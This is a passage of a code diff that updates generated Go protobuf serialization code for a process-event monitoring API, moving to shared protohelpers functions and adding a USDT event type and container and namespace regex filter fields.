len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + 1 + len(v) + protohelpers.SizeOfVarint(uint64(len(v))) + n += mapEntrySize + 2 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) } } n += len(m.unknownFields) @@ -1346,7 +1606,9 @@ func (m *GetEventsResponse_ProcessExec) SizeVT() (n int) { _ = l if m.ProcessExec != nil { l = m.ProcessExec.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1358,7 +1620,9 @@ func (m *GetEventsResponse_ProcessExit) SizeVT() (n int) { _ = l if m.ProcessExit != nil { l = m.ProcessExit.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1370,7 +1634,9 @@ func (m *GetEventsResponse_ProcessKprobe) SizeVT() (n int) { _ = l if m.ProcessKprobe != nil { l = m.ProcessKprobe.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1382,7 +1648,9 @@ func (m *GetEventsResponse_ProcessTracepoint) SizeVT() (n int) { _ = l if m.ProcessTracepoint != nil { l = m.ProcessTracepoint.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1394,7 +1662,9 @@ func (m *GetEventsResponse_ProcessLoader) SizeVT() (n int) { _ = l if m.ProcessLoader != nil { l = m.ProcessLoader.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1406,7 +1676,9 @@ func (m *GetEventsResponse_ProcessUprobe) SizeVT() (n int) { _ = l if m.ProcessUprobe != nil { l = m.ProcessUprobe.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 2 } return n } @@ -1418,7 +1690,9 @@ func (m *GetEventsResponse_ProcessThrottle) SizeVT() (n int) { _ = l if m.ProcessThrottle != nil { l = m.ProcessThrottle.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -1430,7 +1704,23 @@ func (m *GetEventsResponse_ProcessLsm) SizeVT() (n int) { _ = l if m.ProcessLsm != nil { l = m.ProcessLsm.SizeVT() - n += 2 + l + sov(uint64(l)) + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 + } + return n +} +func (m *GetEventsResponse_ProcessUsdt) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.ProcessUsdt != nil { + l = m.ProcessUsdt.SizeVT() + n += 2 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 3 } return n } @@ -1442,7 +1732,9 @@ func (m *GetEventsResponse_Test) SizeVT() (n int) { _ = l if m.Test != nil { l = m.Test.SizeVT() - n += 3 + l + sov(uint64(l)) + n += 3 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 4 } return n } @@ -1454,7 +1746,9 @@ func (m *GetEventsResponse_RateLimitInfo) SizeVT() (n int) { _ = l if m.RateLimitInfo != nil { l = m.RateLimitInfo.SizeVT() - n += 3 + l + sov(uint64(l)) + n += 3 + l + protohelpers.SizeOfVarint(uint64(l)) + } else { + n += 4 } return n } @@ -1466,7 +1760,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1494,7 +1788,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1508,11 +1802,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1526,7 +1820,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1540,11 +1834,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1558,7 +1852,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1571,11 +1865,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1583,16 +1877,8 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { if m.HealthCheck == nil { m.HealthCheck = &wrapperspb.BoolValue{} } - if unmarshal, ok := interface{}(m.HealthCheck).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.HealthCheck); err != nil { - return err - } + if err := (*wrapperspb.BoolValue)(m.HealthCheck).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 4: @@ -1600,7 +1886,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v uint32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1617,7 +1903,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1630,11 +1916,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1654,7 +1940,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v uint32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1676,7 +1962,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v uint32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1693,7 +1979,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1706,11 +1992,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1730,7 +2016,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v uint32 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1752,7 +2038,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v EventType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1769,7 +2055,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1782,11 +2068,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1799,7 +2085,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var v EventType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1823,7 +2109,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1837,11 +2123,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1855,7 +2141,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1869,11 +2155,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1887,7 +2173,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1901,11 +2187,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1919,7 +2205,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1933,11 +2219,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1951,7 +2237,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1964,11 +2250,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1987,7 +2273,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2001,11 +2287,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2019,7 +2305,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2033,11 +2319,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2051,7 +2337,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2065,11 +2351,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2083,7 +2369,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2097,11 +2383,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2115,7 +2401,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2128,11 +2414,11 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2140,16 +2426,8 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { if m.InInitTree == nil { m.InInitTree = &wrapperspb.BoolValue{} } - if unmarshal, ok := interface{}(m.InInitTree).(interface { - UnmarshalVT([]byte) error - }); ok { - if err := unmarshal.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { - return err - } - } else { - if err := proto.Unmarshal(dAtA[iNdEx:postIndex], m.InInitTree); err != nil { - return err - } + if err := (*wrapperspb.BoolValue)(m.InInitTree).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err } iNdEx = postIndex case 17: @@ -2159,7 +2437,7 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2173,25 +2451,89 @@ func (m *Filter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF } m.AncestorBinaryRegex = append(m.AncestorBinaryRegex, string(dAtA[iNdEx:postIndex])) iNdEx = postIndex + case 18: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ContainerNameRegex", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ContainerNameRegex = append(m.ContainerNameRegex, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 19: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NamespaceRegex", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.NamespaceRegex = append(m.NamespaceRegex, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2214,7 +2556,7 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2242,7 +2584,7 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2255,11 +2597,11 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2278,7 +2620,7 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2291,11 +2633,11 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2314,7 +2656,7 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2327,11 +2669,11 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2345,12 +2687,12 @@ func (m *CapFilter) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2373,7 +2715,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2399,7 +2741,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2416,7 +2758,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2429,11 +2771,11 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2446,7 +2788,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2468,7 +2810,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2485,7 +2827,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2498,11 +2840,11 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2515,7 +2857,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2537,7 +2879,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2554,7 +2896,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2567,11 +2909,11 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2584,7 +2926,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2606,7 +2948,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2623,7 +2965,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var packedLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2636,11 +2978,11 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { } } if packedLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + packedLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2653,7 +2995,7 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { var v CapabilitiesType for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2672,12 +3014,12 @@ func (m *CapFilterSet) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -2700,7 +3042,7 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2728,7 +3070,7 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { var msglen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2741,11 +3083,11 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { } } if msglen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + msglen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2762,7 +3104,7 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2776,11 +3118,11 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2794,7 +3136,7 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -2808,11 +3150,11 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -2821,12 +3163,412 @@ func (m *RedactionFilter) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *FieldFilter) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 